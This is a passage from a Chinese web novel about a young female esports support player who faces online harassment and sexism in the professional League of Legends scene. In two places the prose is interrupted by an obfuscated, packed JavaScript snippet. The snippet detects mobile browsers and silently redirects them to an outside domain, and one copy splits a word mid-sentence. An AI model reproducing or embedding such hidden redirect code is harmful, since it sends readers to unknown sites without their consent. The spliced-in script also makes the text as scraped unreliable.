就在汤瑶怀疑这是平台给下的任务时，弹幕也给出了总结：这是在干嘛？ADC团建了？ 还……还真是啊。 汤瑶搞不清情况，但是莫名其妙觉得有点幸福。虚荣的小女孩，就是会在这种万众瞩目的时候被满足。她咬着下唇，努力不让嘴角上扬的太厉害，保持着冷静看弹幕。结果就看到很多人复制了同一句话在刷屏：「Fopp1shOVO：怎么不叫我哥？Fopp1shOVO：怎么不叫我哥？Fopp1shOVO：怎么不叫我哥？Fopp1shOVO：怎么不叫我哥？Fopp1shOVO：怎么不叫我哥？」 她微微一笑，当做没没看见。 翻了一下，看到SOVA发的加油，再次乖巧得感谢了。 来回检查了几遍，发现其他人都很高冷，似乎都没有说话，送完礼物就走了。她再三调整表情，最后还是没忍住，很克制得在镜头前笑起来：“啊啊…什么情况，虽然感觉欠了很多人情和钱，但是还是……嘿嘿嘿……还是挺开心的。” 她整理了一下头发，假装不经意的对着镜头露出自己非常昂贵的下颌线，美滋滋点开了排队，“我先专心打游戏啦。我发现不能一直谢礼物，不然就一直开不了游戏了。” 时来运转，今天的排位也非常非常顺利。汤瑶单排豪取三连胜，虽然直播间的人走了不少，但最后还是留下了不少人，而且大部分都是女生，弹幕氛围特别友好，没有充满冒犯评价和意淫，除了一些游戏和比赛的问题之外就是夸夸，除了有点废嗓子之外，她的首播非常美好。 汤瑶再三对镜头挥挥手，关闭了直播，还把摄像头扣向桌面，然后盯着结算的各项直播数据傻笑了好一会儿。 真好，真好啊。当选手真好，被大家喜欢真好啊~ 23. 第 23 章 SOVA几乎称得上是LOL届的流量之王（虽然从没有过世界冠军），他带来的曝光度和流量远远超乎了汤瑶的预料。虽然铆足了劲表现自己是她的本意，但当她真正看到关于自己的词条出现在热搜和游戏论坛上，激动兴奋之余，那股不安也在放大。 CEE的青训招募门槛很高，只看韩服分数，只有200分以上才有申请资格。别说弄一个稳定的号和加速器需要花多少功夫，就之前自己的心态和实力，几乎是不可能把新号打到满足要求的。是王者号的超高隐藏分让她阴差阳错有了改变命运的机会，还一直走到了现在。 其实号是不是本人，分是不是自己的，问题都不大，据她所知，当时青训营的那些室友们或多或少分和号也没那么纯粹。毕竟不论是怎么来的，最后都是要在青训营集中训练，进行二轮选拔，掺水的人不可能坚持到最后。问题在于号主是真白，就像真白当年得知自己年纪就吓得落荒而逃一样，他并不是个道德感高的好人，只是明白竞圈的舆论可怕，连他都不敢承受的事情，自己怎会不害怕？ 除非……像个女主角一样，被所有人喜欢，才会被无条件偏爱。 汤瑶躲在被窝里，面无表情的翻着某绿色软件里的知名竞组。几乎点开每个带有自己ID的帖子，进去之后的内容必定是LADY SHIVA完胜。 这也是没办法的事，辅助跟中单没有可比性，汤瑶和孟麒更没有可比性。 汤瑶很早就知道，她还当面告诉过另一位当事人。但，这并不是件因为获得认同就会开心的事。 在这个女性占绝大多数的游戏小组里，“漂亮”是一种罪名。她精心准备的上镜妆容和花了半小时卷出来的波浪卷发被和她一样搞不清风向的组员发出来夸奖，结果就是主楼夸得有多好听，评论骂得就有多歹毒—— 6L：[LADY SHIVA.jpg]OK，你们去当桌子上香香软软的小蛋糕吧，我们姐要去城堡杀恶龙了。（229赞） 4L （Re 3L）：“乐，我心思大家也没说什么难听的，怎么就苛刻了？游戏打得好夸游戏不就可以了，为什么非要盯着外表说呢？”（97赞） 1L：“喜欢美妆左转隔壁化妆品小组哈” 2L：“只有我不喜欢这种网红妆吗？感觉眼睛大得有点恐怖了[笑哭][笑哭]” 3L：“大家也没必要对楼主和小选手那么苛刻吧，姜姜今天的娱乐赛表演确实很好啊，楼主也没有恶意只是想夸她一下吧。” 5L（Re2L）：美颜参数拉太大了。其实我感觉还是挺好看的，就是确实网红味很重，不像选手。 7L（Re 6L）：WOW！！这个抓拍好帅啊！！求原图！ 8L（6LRe7L）：宝宝这是去年世界赛入围赛，我们联盟御用摄影师拍哒，他微博就有高清原图。ID是xxxx，你搜一下去年世界赛就有了！ 9L：本来点进来也是想夸一下的，不过视线确实一下子就被7吸引了。认同楼上的，女选手没必要在外表下那么多功夫，毕竟竞腩都要出规定逼着罚款才肯洗头，女生真没必要给自己上这种美役。有这个功夫不如多打几把游戏，专注一下提升自己。 …… …… 18L：鉴定为媚男姐 …… 34L：确实说话声音有点做作，现实生活中没听过这么讲话的女生 …… …… 65L：[偷笑]大胆，你们这么会说话，马上就要被搬到某红色男性论坛被当做嫉妒美女的“小仙女”了。 68L（Re65L）:真不至于，最多也就5.6分而已，我认识的美女多了去了，我自己也好看，犯得着嫉妒她？不过扑男是那样的，不讨好他们的就是酸。哈哈。 …… 汤瑶只是简单快速刷了一遍，脑子都在嗡嗡作响了。 她她学习不好没当过优等生。但是看到路人让她多练练的时候，她确实感觉到了一种考了95分但被59分的（还不一定有）评价还不够努力时的荒谬无力感。 还有她干啥了，她就媚上男了？就因为她轻声细语，就因为她礼貌待人？就因为她在娱乐赛也铆足了劲表现？可她媚的那是男人吗？她媚的是流量，是名声，是自己的前程，有什么问题？！ 还有还有……这个在楼里怼天怼地，攻击了每个为自己和楼主说话的刺头，顶着明晃晃的真白头像。点进对方的主页，果然转发和话题全都跟真白有关。因为ID比较有特色，她试探着在微博搜了下，还真有。 ——ZBai超话11级/NL（真白夺冠战队）超话7级/选手Vision超话6级/白日有梦CP超话8级 20分钟前最新微博：乐，言情小说看多了，看个比赛编上霸道AD爱上我了。笑死，能说吗，我感觉喜欢那个女辅的全是娇妻预备的性缘脑。 附图是讨论汤瑶直播间出现了多少AD送礼，以及热评调侃的《团宠小辅助之霸道AD爱上我》 3个小时前最新微博：[微笑][微笑]张新宇你疯了吗带头给女选手打赏@ZBai @AWA电子竞技战队你们要热度也不带让他出来吸引火力的吧？AWA出来受死:)@AWA电子竞技战队@AWA电子竞技战队@AWA电子竞技战队 1个月前的微博：[某辅助和真白同框图]我草，这就是1和0的差别吗？还别说我终于知道XXX为什么被叫魅魔了，确实很烧，不亏是S哥的小娇妻。[流口水][流口水]这白白嫩嫩的小蛋糕哪个男的能忍住不去咬一口？S哥对不起了，双辅邪教我先冲了。（冷知识：张新宇AD也很强）[可爱][可爱] …… …… 汤瑶“嘶——”地发出一声抽气，脑子里回荡的只有Foppish的经典名句：我建议你（们）去多吃点屎。 汤瑶气得打字都打不利索了，噼里啪啦跟元宝发疯：我想好看点上镜怎么了？难道我脸不洗头不梳，顶着一张油光满面的大脸开摄像头就没有人说我了吗？我被说坦克的时候没见到谁为我冲锋陷阵，说外表不重要，现在倒是一个个过来说我这不对那不对的，凭什么啊？凭什么啊？？？ 元宝当然是哄着她顺着她，帮她大骂了一通网友，又截了很多夸她的评论。她说不要去看那个小组，那个小组出了名的对女人差劲，其实大家对她还是很温柔的。 汤瑶有气无力的回应着元宝的安慰，心中被恶言恶语凿开的那个窟窿依然呼呼漏着风。 她不是没有被骂过，关于长相和身材的争议更是贯穿她的成长。她听过更难听的话，遇到过更离谱的偏见，但那些……都是男人骂的。男人的攻击很好调理，不论多么歹毒肮脏，统统归咎成跨物种沟通失败就行了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326029|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不会怪狗什么狂叫，最多后悔自己喝过动物交流药水。 可是，同类为什么要这样做呢？ 当然并没有规定女性之间一定要和谐友好的手拉手，如果只是正常的贬低和拉踩倒也没什么，当选手嘛，都要经历的，尤其自己这么阴暗，多遭点儿报应都很正常。可这些同类挥舞着性别的旗帜，用一个女人攻击另一个人，字里行间还透露着一股众人皆醉她独醒，把暴行美化成正义。 她可以接受自己不被看好，就算是垫底，也有凭着成绩打脸的可能。只要她努力，总能证明自己。可是这些贴子里的讨论和攻击是她完全无法自证也无法消化的，因为她达不到她们定义里的女强女主形象，所以她的能力和成绩就变得不重要的，她被一些莫名其妙的罪名否定了整个人。 天啊。 ……她都开始后悔成为选手了。 从前每次和妈妈吵架，她都是玩游戏排解心情，不论现实中遇到了多么糟糕伤心的事情，都能在一场场的胜利里找到解药。现在倒好，游戏成了她的职业，她的爱好被摆到了台面，还成了她被围攻的原罪，她再也不能从喜欢的事情里找到快乐了。 汤瑶把论坛连着微博全卸了，然后一边哭一边疯狂给系统推荐的竞圈相关资讯混剪点不喜欢和举报。最后鼻子堵得不通气了，才爬起来去洗脸。一照镜子才发现眼睛肿得像核桃，更伤心了，再次流着滚烫的眼泪躲回了被子里，把微信也隐藏了。 她现在不想接触到跟游戏有关的任何事物。 正打算打开浏览器搜两本小说看，结果打开之后是电影的百科界面。 ——《天若有情》 哦……上次随手搜的。 闲着也闲着，随便看看好了，汤瑶为此还花了18块巨款开了影视网站的VIP。 电影很短，才一个多小时。剧情是真的很老套，富家千金爱上穷小子什么的。但……摩托车好像真的很帅啊！穿着婚纱的JOJO坐在红色的摩托车上，纯白的裙摆在开满灯的隧道里疾驰，留着鼻血的男主喊着泪带着最爱的女人狂飙，实在是浪漫又悲情一幕。难怪热评都说这是最好的摩托车推销广告…… 汤瑶关掉手机，想到自己刚上高中军训，隔壁班长得最好看的男生在第一天结束就腼腆的给自己送水，邀请自己放学一起回家。那个男生个子不高，眼角有一颗痣，有点儿像歌星。他有一辆崭新漂亮的自行车，两个人一起回家，就是他慢慢推着车，她走在另一边，说些有的没的。 不过她从来没有坐过他的后座，即便她很向往青春片的情节。 汤瑶的体重在很小的时候就没有下过120斤，体检的时候女同学还因为7.80斤被说营养不良抹眼泪，她只能红着脸把单子折起来用力塞到口袋的最深处。那个男生长得很好看，对自己也很热情，但她实在不敢想象自己这样“吨位”坐上去，他的小身子骨得多用力才能蹬得动…… 也许低估了他，不过她确实不敢赌，万一真预料对了，也许会成为两个人的阴影吧。 还是得摩托车，摩托车就不用有这种顾虑了。 当天晚上汤瑶做了一个梦。她站在川流不息的马路边，一辆堪比电影里好看的红白机车停在她的面前，带着头盔的高挑男人说了句“上车”，然后摘下了头盔。梦里的人长相很模糊，可她就是本能的发出尖叫：“啊啊啊啊！！我不要厄斐琉斯！！！” 24. 第 24 章 元宝说得没错，尖锐的声音只是小部分，不然那些人也不会总觉得「众人皆醉我独醒」了。表演赛结束之后，推广效果最好的不是语音APP，而是汤瑶。短短两场比赛，几个小时的直播，给全LPL的营销号提供了好几天的切片，几乎所有的辅助教学主播都在用她的素材当教学，就连机器人和婕拉的出场率都变高了。 她确确实实的“爆”了。 汤瑶没几天就收到了来自联盟官方的邀请，不仅希望她参加宣传片的拍摄，还邀请她客串一次季后赛的主持助手。原本好像一眼就能看到头的生活变得无比充实。事情不忙，但不知道为什么办起来乱七八糟，工作人员加了好几个，最后谁也说不明白，就来糊涂推给了主持Lily，让两个人商量着来，只要到时候能出镜就行。 她第一次意识到这个看起来庞然盛大的舞台本质就是草台班子。 安排来得很突然，季后赛进程过了大半，能看到的场次多，但不论是哪一场都充满了话题度。 被问起的时候，汤瑶毫不犹豫的选择了THG对战QY的冒泡赛。 今年的QY可以说非常不顺，先是春季赛低开高走，结果最后的时候辅助塌房，搞得一败涂地。夏季赛的成绩也也非常一般，虽然是第四名结束了常规赛，实际上积分非常低，想要拿世界赛门票还要经过九九八十一难。更不说中间的各种八卦，什么被造黄谣啦，真假前男友啦，什么嫂子哥的短视频里又发了什么露哪露哪儿的内容，队员直播的时候又带了什么什么节奏……有成绩的时候这些都不是问题，大家都能包容天才的小脾气，可没有成绩的时候，这些边角料又全都成了“罪名”。 汤瑶一开始没那么讨厌LADY SHIVA。 当初这么个女选手横空出世，她和绝大多数女玩家一样激动兴奋，关注她的一举一动，看她的比赛讨论她的八卦，直到有一天，她在她的直播间，听到她和队友大言不惭：“在我看来，辅助就是“家庭主妇”“……干最多的活，受最多的气。不能因为只能洗衣做饭，所以就喜欢洗衣做饭……” 她的语气非常傲慢，更可恨的是她确实拥有值得傲慢的能力。因为她确实在中单位用输出英雄漂漂亮亮的把出言不逊的男人制裁了。所以她的大道理就显得更有说服力了。 什么“与其找个老公不如当自己的老公。”啦，什么“还好这把用的是中单，要是玩辅助就要被气死”啦，什么“只要体会过游戏里击杀的快感就绝对不会甘心去当陪衬”啦……之类的。 总之，女主角喊出了响亮的口号，信徒们为此狂欢。 然而事实上，普通玩家最能能体会到，只有在那之后如果在游戏里想要指责同为女性但发挥战绩不佳的队友时时，就会随机得到：“笑死了，你玩个家庭主妇位的有什么资格指指点点？”或者“有男的你为什么不去骂男的？你就这么维护男人吗？”之类新型人身攻击。 诚然，这样的次数不算多，但因为太过离谱，所以每次得伤害性都很高，几乎每次都让她气得抓狂，顺便也会怨恨起让一切改变的那位女选手。 再后来阴差阳错的成为选手，非但没能得到鲜花和掌声，反而成了衬托女主角的对照组——那些刻薄的评价，就算只是在脑海里一闪而过，也会影响几乎大半天的心情。 可以说，在汤瑶没心没肺的成长过程中，几次痛彻心扉的伤害总是和LADY SHIVA有点儿联系。 也许用讨厌并不贴切，但汤瑶懒得为这种感情找到更正确的形容词。客观来说她并不倾向任何队伍，只是从感情上来说她非常希望LADY SHIVA从“神坛”跌落——虽然今年已经在走下坡路了，但还不够，只有失去世界赛的门票才意味着一整年的真正失败。只有这样，她才能被成为对照组里的反面典型，体会到自己的经受过的痛苦。 ——汤瑶就是怀着这样强烈的恶意在后台观赛的。 第一局刚开始不久，她就发现了下路悬殊的差距。虽然QY的新辅助可圈可点，但是AD实在不入流，可以说这两年都是四个队友拖着他。5V5的游戏，不看长板有多长，而是看短板的下限。任卢状态实在太好了，只要这么保持下去，在没有黑幕的情况下，QY绝对赢不了这个BO5，说不定三四把就会提前结束。 很可惜，她还是低谷了双子星的强度。天赋这种东西真是没法儿说，有两把下路都已经烂到解说都找不到词圆场面，可就是能凭着接连几波全靠操作的极限团战，生生把几乎完全倾到向另一边的局势拉回来。其中有一局，LADY SHIVA在团开起来的时候瞬秒C位，她跟所有人一起因为震撼而本能的惊呼出声。 不过她反应很快，只喊了一半就很小气的捂住了嘴。 还好，虽然过程非常惊险，但最后汤瑶还是如愿以偿了。 决胜局的双子星出现致命失误，前期巨大优势的盲僧因为踩夹子送掉了高额赏金，拿到优势的女警发挥级非常恐怖的统治力。汤瑶看着Renlu行云流水的操作，馋得都要流口水了——不敢想象如果搭档这种级别AD，自己会是个多么幸福的辅助。 尘埃落定后，画面从游戏中切到现实，镜头给到两边，欢喜和失意形成了强烈的对比。 THG的小伙们抱做一团，甚至有人眼中含着泪光。解说也非常真情实感的为他们祝福着，这个穷得几乎解散的破队，没有资本的支持，队服干净得几乎只剩队标，现在却凭着对梦想的坚持，在LPL的历史上书写下属于自己的热血故事。 另一头则是愁云惨淡，LADY SHIVA似乎很努力想控制情绪，还主动拍了拍AD的肩膀说了些什么。但起身收拾设备的时候，双手却在颤抖。只是很可惜，汤瑶仔细得观察了每一帧，也没发现这位天之骄女的眼中有什么可疑的水光。 ……切，真没意思。 她不是挺喜欢哭的吗，输了比赛就哭，两滴眼泪就能在论坛屠版好几天，她那些攻击性很强的毒唯也都是从眼泪中一次次虐出来的。 今天这么重要的时刻，怎么不掉眼泪了？ 虽然没能看期望中的场面，但对于这样的结果还是很满意的，起码女主角的传奇要告一段落了。 真希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326030|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望这位跌下神坛的选手能好好的体会一下民间疾苦。她根本就不知道自己口中说的“先这样再那样”的简单连招，其实是很多人不论怎么努力也很难复刻的极限操作；更不知道如果没有被一个陪玩店的头牌喜欢，就算有能力，女玩家也很难光明的、干净的、挺直腰板挣到自己应得的钱。 因为她的人生完美，幸运，所以她的梦想才远大而熠熠生辉。 根本就没什么好值得仰望的，这个只是因为幸运就傲慢的人，本来就不该总是一帆风顺！ 汤瑶的露脸采访任务在赛前已经结束了，看比赛属于行程中的赠品。Lily是个很好的姐姐，她觉得她大老远来一趟，结果连个观众席的位置都没有，而是在幕后跟着工作人员看了好几个小时，所以在做赛后采访的时候也带上了她，这样可以近距离接触刚刚下台的选手们，好歹让她觉得没有白来一趟。 ……当然，也许还因为自己把幸灾乐祸解释成了对选手Renlu的支持喜爱。 两个人在一路飞奔，刚好赶上队员们鱼贯退场。THG全员神采飞扬，还有战队工作人员准备了手枪小礼花，冲着几个小伙子们“砰砰”放了两个。结果被倒霉蛋任卢吃了进去，吐出来之后就是一阵国粹，周围人哈哈大笑，气氛愉快而轻松。 Lily很自来熟的拍了拍他，又指着上单：“你俩，采访。”接着又对一遍的经理指了指汤瑶，“她是你们战队的粉丝，懂？懂？”见胖胖的经理点点头，这才拉着两个人去另一边简单对问题。 “行，那我们先回去吧。”THG战队的经理看着年纪不大，胖胖的，带着黑框眼镜，西服的腰带把他的腰身勒成葫芦。他的皮肤很白，但泛红和毛孔都很严重，因为情绪激动，呼哧呼哧喘着气，整个人红光满面，同时也油光可鉴。他这话是对汤瑶说的，发现她没明白，就补充道，“我们虽然物料准备的不多，但休息室那边应该还有，我让人找找，手幅或者鼠标垫什么的还是有的，你可以拿你喜欢的选手的。” ……救命啊，又是这两样！！ 汤瑶哭笑不得，只能老实的跟着去。 看得出来，这场胜利为这个战队回了一大口血，从刚才开始，胖经理的手机震动就没停过，说话的时候也是在翻看手机里飞速划过的新信息。一行人去休息室的时候，他又打了两个电话，语气非常骄傲的向全世界宣告这个结果。 汤瑶虽然不是其中一员，可也很快被这种热血的逆袭情节感染，跟着开心起来。 “……对，是啊！是啊！”胖经理电话打得唾沫横飞，回到休息室厚一屁股坐在椅子上，肚子上的肉溢了出来，“还是你懂我。对，这根本就不是门票的事，而是咱们终于把那个娘们搞的战队，资本捧出来的女选手赢了。对——是啊，对啊！谁他妈出道不是天才？出道就夺冠的都有，一个德杯冠军吹他妈两年，老子真是受够了！什么世亚，说白了还不是被1:3？对对，是啊，我上我也行啊。就是啊——” 汤瑶愣住了。 扬起的嘴角变得僵硬，她环顾四周，在一片欢声笑语中，她开始一步一步后退。 25. 第 25 章 “……哈哈，我说白了，女生本来就没有电竞的天赋。她们公司要是不想亏钱，最好今年打完退役，不然只会越来越差。我都知道他们赞助掉了不少，还L~V~，现在PUMA都不配！……啊，对，对，行……嗯嗯，好我知道了，过会儿发给你……好，明天你直接来，都哥们！都哥们，哈哈。” 汤瑶的脑子突然开始嗡鸣，荒唐的言论刺痛了她，胃开始不受控制的痉挛。她后知后觉的发现自己的做了错误的选择，此时此刻站在这里的自己是多么的格格不入。她不该在这里，更不该为这些人庆祝——哪怕并没有那么真心。 胖经理意犹未尽挂了电话，又激动地过去把三个正在玩手机的选手们拎起来又拍又抱。夸了好一会儿，终于在视线带过少女的时候想起了她的目的以及身份。作为一个圆滑的成年男性，对于找补也很有一套。他先是翻翻找找，从抽屉里拿出一沓带签名的战队照和两张手幅递了过来， “我也没说女生不能打游戏哈。”他说，“我的意思是……顶尖联赛对女生来说门槛还是太高了。” “你看，你现在也是在LDL磨练嘛，是不是觉得比赛跟排位不一样，很难对吧？其实要我说，LDL都没必要，太为难你们了。你们女生去打女子比赛就行了，这样水平差不多，对你们好，观赏性也更强。强行把你们放到这儿，对谁都不好。是吧？” 他并不在乎别人的反应，只是自顾自的说，“竞技比赛，最讲究的就是公平。因为有几个臭钱就塞人空降，把一个水平明显不够的选手通过包装和吹嘘的营销方式强行留在赛场上，这对其他男选手来说太不公平了！” “再退一万步，这些都不提，可现在咱们电竞可是入选亚运会项目的了，难道到时候选人也要搞什么zz正确，让这样全是水分的选手去代表赛区国家吗？那不就是国//耻吗？咱们作为公民，最基础的家国情怀总要有，是吧！” 汤瑶真的很想把手里的鼠标垫甩到他满是横肉的脸上，在镜头的记录下说出什么振聋发聩的话，然后潇洒的离开。 可是……离开能去哪里呢？推开这扇门，外面也还是一样。这个世界就是这样的。 何况她的脑子里只剩下脏话，就算能够把最恶毒刻薄的话扔出去，也不会改变来自世界的成见，自己只会被当成疯子踢出这个行业，狼狈的回到小镇，继续和妈妈互相痛恨的生活，变回痛苦又平凡的普通人。 汤瑶最后还是克制着表情，表现得人畜无害，勉强扬起嘴角：“我还不太懂。” “哦？哈哈哈哈没事，没事。你年纪还小嘛。小姑娘，不懂很正常。”男人从不吝啬向没有攻击性的女生展示善意，他清清嗓子，用苦口婆心的语气说，“讲真的妹妹，我是感觉你长得很漂亮，还是纯天然，当选手太可惜了。LDL太苦了，那么多选手，能来LPL的真不多，而且你还是女生，真的都不方便，再有钱也不可能家家都给女生准备大别墅，和那么多异性住一起，对你也不好。” “前面你上去做采访的时候弹幕特别多啊，粉丝应该也长了不少吧？其实你要是真喜欢电竞这方面，可以抓住机会，平时多直播露露脸，学习一下，试试主持解说，发挥自己的优势嘛。不管怎么说，都比当个次级联赛的小选手有前途。” “现在电竞行业已经不是蓝海了，LOL也没之前那么高热度，就比如我们这边的老板，重心都在手游和FPS。说白了，就算削尖了脑袋挤进来，也不一定能得到什么。一年到头打下来，最后能赢的只有五六个人而已。太难，太辛苦了，女孩子真没必要做这些吃力不讨好的事情，你们有更好的选择和出路……” 他还在滔滔不绝，门被推开，Lily的声音出现了：“恭喜恭喜，你们晚上上哪儿吃饭啊？” 带着香气的美女主持就这么踩着七彩祥云拯救了差点被爹味呛死的汤瑶。 两个上台采访的选手也回来了，于是话题戛然而止，胖经理又过去拍了拍那两人：“MVP晚上要吃什么？今天有人请客。哦对了，你看群没，发了好多红包，赶紧去抢。” “随便，烤肉呗。”作为第五局当之无愧的MVP，任卢反而是最冷静的，啧了声，目光就落到正在打野的身上，“我刚刚下来就香说，以后我喊你来你就直接来，那个B野哪有那么好刷，你早来早给他们下路打穿了。” “唉唉唉，先别复盘了，今天就开开心心吃东西，有什么明天教练开会的时候你们再说。” “哎哟，MVP你好凶啊~”Lily笑眯眯的看着大家，还举起手持摄像头在任卢边上晃了晃，“笑一个，我给你剪到我VLOG，蹭点流量。” 任卢特别无奈的横了她一眼，憋了半天，非常不情愿的冲镜头挥了挥手。想了半天，大概是不知道说什么，就推开了摄像头，嫌弃道：“行了行了，再多录一秒收你肖像权的费用。” “切，小气！”Lily过来拉起汤瑶，看到她手里拿着东西，还眨眨眼，“行了行了，我就不打扰你们了。我们走了哈。” 胖经理很客气的送她：“辛苦辛苦。诶，你要是没事跟我们一起去吃饭吗？” “算了算了，我最近做账号，剪视频忙死啦。你们加油啊，下次赢了我去蹭饭~” “OKOK，拜拜。” “拜拜~拜拜~” 两人刚刚离开了THG休息室，Lily就突然长叹一口气：“唉。”她说，“刚刚我们过来的路上听说QY那边吵架了。阿池开小会，把那两只关起来骂，后面不知道为什么吵起来，MIFA直接甩门走了……” 汤瑶心里一紧：“啊？”她先是紧张地环顾了一下四周，然后才小声说，“本来就是他背大锅，他有什么好发脾气的……真是。” “不知道呀。”Lily耸耸肩，“其实也没什么说什么谁有错，就是大家配合不好嘛。而且这种时候其实说什么都没用，只能说靠自己调节心态了。其实……现在QY淘汰了，我倒没有伤心或者失望。当然，我不是说不支持她。但是电竞不就是输输赢赢吗？我就是有点害怕。” “害怕？” “我怕她不打了呀！小麒她各方面都很优秀，就算不做选手，也有很多种选择，更何况她还有个顶流的影后表姐支持她。只要她想，在哪里发光发热都行。但是……但是LPL现在只有她呀，如果，如果她就这么退出了，各方都会认为女选手的加入从头到尾都是失败，那样的话 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突然，有由远渐近的脚步从一侧传来。穿着明黄色队伍的选手从女厕所走了出来：“真没事，真的真的。”她瞥了一眼汤瑶，走到了另一边，耳机的LED灯一闪一闪，低着头开始撕手上的黑色胶布，说话的语气很平静，“嗯呢。嗯呢。我没在装，我真没那么伤心。我很久没哭过了。” 她将一直延伸到手腕的胶布全部撕掉，顺着经络反复揉了揉手，然后打开水龙头洗手。她比上半年的时候憔悴些，不知道因为是夏季赛还是这场BO5。她拨了一下一侧刘海，濡湿的发丝顺着耳后往脖颈里滴水，“当然不会了。你也把我想得太脆弱了，怎么可能！不用，你忙你的呀，工作最重要。等下次吧，等下次赢了你来看我。嗯……好，好，不过我得先回去，晚点再说。等你有空我再给你回电话好吗？……好，你挂吧。” 孟麒很利索的洗好手，接着从镜子后抽出几张纸擦手，顺便分了两张给旁边的女孩：“你觉得怎么样？” 汤瑶有点尴尬，只是盯着镜子装作整理妆面，用纸巾小心的点按眼下，有点心虚：“你还记得我？” 孟麒摘下耳机，点头道：“当然，我应该还没到罹患阿兹海默的年纪。” 什、什么患？……就她读过书是吧！ 还好冲浪比较多，还算知道阿兹海默是老年痴呆。 汤瑶尝试用全新的感悟消化情绪，但还是失败了。果然还是不行，果然还是……很讨厌她啊！！ “怎么样，你觉得这边的舞台怎么样？决赛也是这个场馆。我就是在这里看过比赛，才决定当选手的。” “不好意思。”汤瑶迟疑了片刻，还是说了，“我们应该没有熟到可以随时聊过去和未来的程度。” 孟麒有点惊讶，但很快从善如流：“好。对不起。” 汤瑶想了想，补充道：“其实我挺讨厌你的。” 孟麒很平静：“那恭喜你了，今天是个好日子。” 结果汤瑶“切”了一声：“想太多了。我也讨厌他们。”她用力地擦手，把纸丢进垃圾桶，“谢谢。”转身之后顿了顿，很不情愿的说，“再见。” 26. 第 26 章 汤瑶兔死狐悲的情绪并没有持续太久，从采访回来之后，一顿价值三位数的外卖就哄好了掌管情绪的腹部器官，重新振作了起来。别管明天是不是世界末日，过好眼前才是最重要的。与其担心两年后的自己会不会顺利签进LPL，还是先做好本职工作，能多捞一点是一点才是。 反正天塌下来就让长得高的人先顶着吧。 当然，亲眼见过了来自行业的恶意和残酷，危机感还是会达摩克斯之剑一样时刻悬在头顶。因为担心职业选手这条路不知道哪天就会走到头，所以除了训练比赛以外，她开始逼着自己每天最少直播两个小时。 她现在是有些热度，但并不是她想要的那种关注。作为选手，没有成绩，大家来看她就像看动物园里的猴子。关于她的讨论不是脸就是八卦，技术根本无人在意，更别说那些会出现在每个游戏主播弹幕里的串子和黑粉，可以说每次直播都是对心理承受能力的极大考验。 唉。钱难挣，屎难吃。财务自由之前实在没什么讲尊严的余地。 所以收入增加的同时，高压和焦虑也让年轻女孩的物欲疯狂膨胀。 汤瑶开始用大牌化妆品，做价格不菲的医美，也会买很多并没有场合穿出去的漂亮衣服。虽然把钱花在这些显而易见的地方能让她短暂的开心一会儿，但穷人乍富，消费不是包治百病的良药，花多了还是会肉疼。 心里好像有个无底洞，怎么也填不满，汤瑶总算理解元宝为什么乐此不疲的执着于网恋这回事，无聊的时候找个男人玩玩确实也算是个消遣。倒不是男人有什么优点，而是实在其他有趣的爱好太贵了。她虽不屑于花精力去和那些私生活混乱的垃圾竞男暧昧拉扯，但又确实会因为能经常和叫得上ID的职业选手们一起打游戏感到虚荣。 不止是LOL，电竞选手说白了就是万里挑一的网瘾少年，大家对于游戏的爱好都非常广泛，在真白的邀请下，汤瑶几乎把各大热门网游都体验了个遍，然后开始感谢英雄联盟能给自己一口饭吃。 随着私下里接触越来越多，曾经那些对职业选手的滤镜全都岁了。而且因为新生代选手们的颜值屡创新高，连带着她对帅哥都脱敏了——现在她想避雷的标签远远不止厄斐琉斯。 而且汤瑶总算知道Foppish为什么是联盟知名神经刀了。这人平时一点RANK不打，除开训练赛之外的时间全都用来玩其他游戏了，不止是LOL，他在各种游戏里都很拔尖，平时开黑全靠他一带多。每次开黑看他天神下凡，她都由衷认为即便他换种游戏打职业估计也是一片光明前途。 从前她总觉得他作为职业AD太菜，认识了之后又觉得他这样摸鱼摆烂还能是联赛中上游水平，简直是老天爷追着喂饭吃。 这种玩游戏时作为新手被大佬罩的感觉确实很爽，一想到这种人不是自己队友就更爽了。 汤瑶年轻，所以精力无限，偶尔摸摸喜欢摇尾巴的自家AD，直播的时候有退役AD一起做节目效果，休息的时候还有别家AD排着队喊自己玩别的。还有一个虽然道德败坏，但确实为自己事业提供不少人脉和助力的前男友在手机里当电子宠物，在游戏和生活的周旋中把日子过得风生水起。 很快，汤瑶作为选手的第一个赛季结束，喜提亚军和一笔不小的存款，在年前带着一个塞得满满当当的32寸行李箱衣锦还乡了。 * 当初离开家，汤瑶和妈妈闹得很不愉快，她们的母女关系向来糟糕，对彼此都有很多怨言。同样生长在小镇的女人并不能跟上时代，对于游戏认知还停留在电子毒品的程度，所以即便消失了两个月的女儿平平安安的回来，还有专业律师把一份报酬丰厚的合同放在面前的时，女人不仅看也不看就拒绝了，还冷嘲热讽说的她想钱想疯了，天大的好事怎么会轮到她。 于是母女俩就这么当着一屋子外人的面吵了起来，大概是觉得丢人，互相攻击了几句之后，女人烦躁的翻开面前的文件草草签下了所有文件，反手往汤瑶身上一扔：“去吧去吧，没有人会管你。我倒要看看你这样的能去S市能闯出什么名堂。” 汤瑶一开始很愤然，发誓绝对不要再跟家有任何联系。不过随着新生活的展开，她过得越来越好，曾经的仇恨和痛苦似乎也随着距离的拉远而烟消云散。 